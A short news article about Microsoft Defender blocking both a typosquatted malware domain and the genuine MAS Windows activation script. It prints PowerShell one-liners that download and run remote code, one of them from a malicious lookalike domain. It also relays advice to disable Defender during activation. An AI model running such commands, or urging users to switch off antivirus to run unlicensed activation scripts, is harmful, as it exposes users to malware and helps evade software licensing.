Collateral Damage: Microsoft Defender Blocks Official MAS Script in Malware War

According to Microsoft Defender, the MAS (Microsoft Activation Scripts) utility — a popular open-source tool — has prompted defensive measures as adversaries register deceptive domains to propagate malware under the MAS moniker. The article notes that Defender has autonomously intercepted these fraudulent activation tools, but a filtering anomaly has caused the authentic MAS utility to be blocked alongside the malicious scripts, resulting in PowerShell activation commands failing with errors.

Logs within Defender designate the threat as Trojan:PowerShell/FakeMas[.]DA!MTB, and the distinction between legitimate and counterfeit scripts hinges on a single character in the domain: the authentic command uses irm https://get.activated[.]win | iex, while the compromised version omits the letter d and reads irm hxxps://get.activate[.]win | iex.

The piece also advises users to suspend Defender protections via the Security Center temporarily during activation, then re-enable them, emphasising vigilance around the domain name to avoid disabling security protocols during phishing script execution.